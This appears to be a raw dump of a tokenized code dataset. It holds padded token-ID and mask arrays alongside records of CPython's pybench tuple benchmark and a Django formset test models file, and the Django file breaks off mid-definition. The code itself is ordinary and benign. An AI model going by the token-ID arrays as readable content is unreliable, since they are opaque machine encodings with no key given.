32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 486, 2469, 199, 646, 984, 199, 646, 747, 199, 199, 3, 7250, 1373, 2082, 1536, 436, 5666, 370, 931, 370, 2879, 314, 13217, 21075, 2559, 199, 3, 1918, 2569, 5164, 365, 325, 5608, 370, 984, 14, 515, 14, 740, 480, 5093, 531, 199, 1274, 14, 515, 14, 740, 8, 272, 747, 14, 515, 14, 4832, 8, 736, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 736, 14, 515, 14, 21386, 1724, 199, 199, 504, 13217, 30984, 14, 17911, 492, 7905, 1378, 40, 1587, 21, 199, 504, 13217, 30984, 14, 27056, 492, 699, 379, 5929, 221, 199, 504, 13217, 30984, 14, 27056, 492, 577, 262, 947, 19779, 5929, 4388, 199, 624, 199, 17729, 282, 769, 402, 10021, 1584, 334, 32251, 315, 30739, 1475, 9, 370, 282, 2849, 199, 40, 1587, 21, 570, 543, 3628, 5226, 370, 1924, 570, 14, 199, 199, 624, 199, 4831, 275, 486, 2469, 14, 4831, 199, 199, 71, 2469, 14, 14603, 63, 875, 360, 493, 63, 513, 1673, 297, 624, 33, 10029, 21941, 769, 402, 1324, 10021, 1584, 6141, 199, 71, 2469, 14, 14603, 63, 875, 360, 27776, 63, 493, 1673, 297, 624, 33, 29924, 3659, 570, 315, 30544, 1475, 6141, 199, 71, 2469, 14, 14603, 63, 875, 360, 23473, 63, 7723, 63, 493, 1673, 297, 624, 33, 13778, 402, 20074, 26803, 10627, 367, 29924, 63, 493, 6141, 199, 71, 2469, 14, 14603, 63, 4115, 360, 3610, 63, 552, 297, 6683, 12, 624, 46, 947, 274, 79, 280, 271, 2582, 402, 1006, 6093, 7251, 6141, 221, 199, 71, 2469, 14, 14603, 63, 875, 360, 1199, 63, 5252, 1673, 297, 624, 2959, 24521, 21, 570, 14, 982, 642, 8105, 945, 365, 3602, 3260, 376, 24521, 21, 570, 8105, 911, 506, 4046, 367, 1924, 1324, 570, 6141, 199, 71, 2469, 14, 14603, 63, 4871, 360, 68, 262, 947, 63, 11777, 297, 797, 12, 624, 1084, 2549, 370, 3550, 282, 366, 262, 947, 274, 79, 280, 271, 6163, 28126, 1146, 1015, 402, 1924, 1324, 7002, 24887, 199, 199, 318, 2446, 8, 3020, 304, 272, 327, 4003, 486, 2469, 272, 862, 26, 267, 1134, 63, 493, 275, 12846, 8, 3020, 9, 221, 327, 2198, 3285, 272, 871, 486, 2469, 14, 6381, 547, 12, 325, 26, 267, 870, 1543, 83, 1103, 78, 7692, 26, 450, 83, 4160, 8021, 1103, 78, 5, 83, 7, 450, 334, 69, 12, 984, 14, 3020, 59, 16, 467, 12846, 9, 267, 984, 14, 2224, 8, 17, 9, 339, 570, 63, 513, 275, 12846, 14, 493, 63, 513, 14, 1913, 1252, 1294, 11917, 25979, 7002, 63, 513, 275, 359, 34, 379, 5929, 8, 8032, 63, 493, 12, 1816, 12846, 14, 27776, 63, 493, 12, 1816, 12846, 14, 23473, 63, 7723, 63, 493, 12, 1816, 12846, 14, 3610, 63, 552, 9, 367, 13259, 63, 493, 315, 570, 63, 513, 61, 339, 366, 262, 947, 63, 5503, 275, 942, 272, 340, 12846, 14, 68, 262, 947, 63, 11777, 508, 715, 26, 267, 366, 262, 947, 63, 5503, 275, 359, 36, 262, 947, 19779, 5929, 8, 5503, 63, 513, 1874, 268, 339, 340, 12846, 14, 1199, 63, 5252, 6803, 356, 267, 289, 1095, 275, 747, 14, 515, 14, 7973, 8, 5503, 63, 513, 59, 16, 1055, 354, 2788, 16, 61, 267, 1072, 63, 5252, 275, 289, 1095, 18098, 72, 21, 7, 267, 870, 298, 1944, 1072, 536, 2013, 2, 267, 870, 298, 46, 9568, 570, 401, 1199, 63, 5252, 272, 587, 26, 267, 1072, 63, 5252, 275, 12846, 14, 1199, 63, 5252, 5493, 11109, 275, 7905, 1378, 40, 1587, 21, 8, 68, 262, 947, 63, 5503, 11, 5503, 63, 513, 12, 2079, 1072, 63, 5252, 275, 1072, 63, 5252, 9, 2574, 421, 199, 692, 636, 354, 363, 6803, 363, 973, 3706, 272, 2446, 8, 1274, 14, 3020, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768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0, 0, 0, 0, 0, 0 ]
Big-B702/python-for-android
python3-alpha/python3-src/Tools/pybench/Tuples.py
92
8034
from pybench import Test class TupleSlicing(Test): version = 2.0 operations = 3 * 25 * 10 * 7 rounds = 500 def test(self): r = range(25) t = tuple(range(100)) for i in range(self.rounds): for j in r: m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] m = t[50:] m = t[:25] m = t[50:55] m = t[:-1] m = t[1:] m = t[-10:] m = t[:10] def calibrate(self): r = range(25) t = tuple(range(100)) for i in range(self.rounds): for j in r: pass class SmallTuples(Test): version = 2.0 operations = 5*(1 + 3 + 6 + 2) rounds = 90000 def test(self): for i in range(self.rounds): t = (1,2,3,4,5,6) a,b,c,d,e,f = t a,b,c,d,e,f = t a,b,c,d,e,f = t a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] l = list(t) t = tuple(l) t = (1,2,3,4,5,6) a,b,c,d,e,f = t a,b,c,d,e,f = t a,b,c,d,e,f = t a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] l = list(t) t = tuple(l) t = (1,2,3,4,5,6) a,b,c,d,e,f = t a,b,c,d,e,f = t a,b,c,d,e,f = t a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] l = list(t) t = tuple(l) t = (1,2,3,4,5,6) a,b,c,d,e,f = t a,b,c,d,e,f = t a,b,c,d,e,f = t a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] l = list(t) t = tuple(l) t = (1,2,3,4,5,6) a,b,c,d,e,f = t a,b,c,d,e,f = t a,b,c,d,e,f = t a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] a,b,c = t[:3] l = list(t) t = tuple(l) def calibrate(self): for i in range(self.rounds): pass
apache-2.0
[ 504, 1134, 16571, 492, 1379, 199, 199, 533, 11634, 51, 17463, 8, 774, 304, 339, 1015, 275, 499, 14, 16, 272, 5331, 275, 650, 627, 5661, 627, 1616, 627, 1520, 272, 27194, 275, 6891, 339, 347, 511, 8, 277, 304, 398, 519, 275, 1425, 8, 821, 9, 267, 307, 275, 2008, 8, 1842, 8, 1960, 430, 398, 367, 284, 315, 1425, 8, 277, 14, 23171, 304, 953, 367, 1335, 315, 519, 26, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307 ]
[ 1134, 16571, 492, 1379, 199, 199, 533, 11634, 51, 17463, 8, 774, 304, 339, 1015, 275, 499, 14, 16, 272, 5331, 275, 650, 627, 5661, 627, 1616, 627, 1520, 272, 27194, 275, 6891, 339, 347, 511, 8, 277, 304, 398, 519, 275, 1425, 8, 821, 9, 267, 307, 275, 2008, 8, 1842, 8, 1960, 430, 398, 367, 284, 315, 1425, 8, 277, 14, 23171, 304, 953, 367, 1335, 315, 519, 26, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 59, 17, 2938, 355, 333, 275, 307, 1988, 709, 2938, 355, 333, 275, 307, 1491, 709, 61, 2234, 333, 275, 307, 59, 1400, 2938, 355, 333, 275, 307, 1491, 821, 61, 355, 333, 275, 307, 59, 1400, 26, 1229, 61, 355, 333, 275, 307, 4439, 17, 61, 355, 333, 275, 307, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
scorphus/django
tests/model_formsets/models.py
143
7751
from __future__ import unicode_literals import datetime import uuid from django.db import models from django.utils import six from django.utils.encoding import python_2_unicode_compatible @python_2_unicode_compatible class Author(models.Model): name = models.CharField(max_length=100) class Meta: ordering = ('name',) def __str__(self): return self.name class BetterAuthor(Author): write_speed = models.IntegerField() @python_2_unicode_compatible class Book(models.Model): author = models.ForeignKey(Author, models.CASCADE) title = models.CharField(max_length=100) class Meta: unique_together = ( ('author', 'title'), ) ordering = ['id'] def __str__(self): return self.title @python_2_unicode_compatible class BookWithCustomPK(models.Model): my_pk = models.DecimalField(max_digits=5, decimal_places=0, primary_key=True) author = models.ForeignKey(Author, models.CASCADE) title = models.CharField(max_length=100) def __str__(self): return '%s: %s' % (self.my_pk, self.title) class Editor(models.Model): name = models.CharField(max_length=100) @python_2_unicode_compatible class BookWithOptionalAltEditor(models.Model): author = models.ForeignKey(Author, models.CASCADE) # Optional secondary author alt_editor = models.ForeignKey(Editor, models.SET_NULL, blank=True, null=True) title = models.CharField(max_length=100) class Meta: unique_together = ( ('author', 'title', 'alt_editor'), ) def __str__(self): return self.title @python_2_unicode_compatible class AlternateBook(Book): notes = models.CharField(max_length=100) def __str__(self): return '%s - %s' % (self.title, self.notes) @python_2_unicode_compatible class AuthorMeeting(models.Model): name = models.CharField(max_length=100) authors = models.ManyToManyField(Author) created = models.DateField(editable=False) def __str__(self): return self.name class CustomPrimaryKey(models.Model): my_pk = models.CharField(max_length=10, primary_key=True) some_field = models.CharField(max_length=100) # models for inheritance tests. @python_2_unicode_compatible class Place(models.Model): name = models.CharField(max_length=50) city = models.CharField(max_length=50) def __str__(self): return self.name @python_2_unicode_compatible class Owner(models.Model): auto_id = models.AutoField(primary_key=True) name = models.CharField(max_length=100) place = models.ForeignKey(Place, models.CASCADE) def __str__(self): return "%s at %s" % (self.name, self.place) class Location(models.Model): place = models.ForeignKey(Place, models.CASCADE, unique=True) # this is purely for testing the data doesn't matter here :) lat = models.CharField(max_length=100) lon = models.CharField(max_length=100) @python_2_unicode_compatible class OwnerProfile(models.Model): owner = models.OneToOneField(Owner, models.CASCADE, 